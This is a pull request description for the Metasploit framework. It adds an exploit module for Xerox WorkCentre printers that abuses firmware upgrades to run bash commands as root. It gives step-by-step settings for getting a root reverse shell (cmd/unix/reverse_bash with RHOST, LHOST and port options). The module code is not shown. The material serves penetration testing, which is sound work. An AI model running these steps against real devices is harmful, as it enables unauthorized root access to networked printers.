rapid7/metasploit-framework — pull request #4091 by dheiland-r7 (2014-10-28 16:23:23+00:00)
Title: Xerox Workcentre firmware injection exploit

This PR is for the Xerox workcentre 56xx-57xx and 76xx-77xx series multifunction printer exploit. This exploit leverages the firmware upgrade process to execute bash commands on the device with root level privileges.

Below is an example of the payloads available in the module:
![screen shot 2014-10-28 at 12 03 10 pm](https://cloud.githubusercontent.com/assets/6502552/4811698/1a5793f4-5ebc-11e4-9686-feb4a3156ae1.png)

Below is an example of the options available in the module with payload "cmd/unix/reverse_bash" set.
Module options (exploit/test/xerox_mfp):
![screen shot 2014-10-28 at 12 01 12 pm](https://cloud.githubusercontent.com/assets/6502552/4811672/ee1dae18-5ebb-11e4-8450-ac3df35e3a59.png)

Steps to launch a reverse shell exploit against vulnerable Xerox Workcentre devices:
set PAYLOAD cmd/unix/reverse_bash
set RHOST to targeted Xerox devices IP address
set RPORT to targeted Xerox devices jetdirect port number
set LHOST to local host IP address for reverse shell to connect back to
set LPORT to local host port number for reverse shell to connect back to

Below is an example using the payload "cmd/unix/reverse_bash" to gain reverse bash shell with root privileges on a Xerox Workcentre 5735 multifunction printer.

![screen shot 2014-10-28 at 12 07 32 pm](https://cloud.githubusercontent.com/assets/6502552/4811826/f76c75ca-5ebc-11e4-94f4-e32a35e8144e.png)

Any question please contact me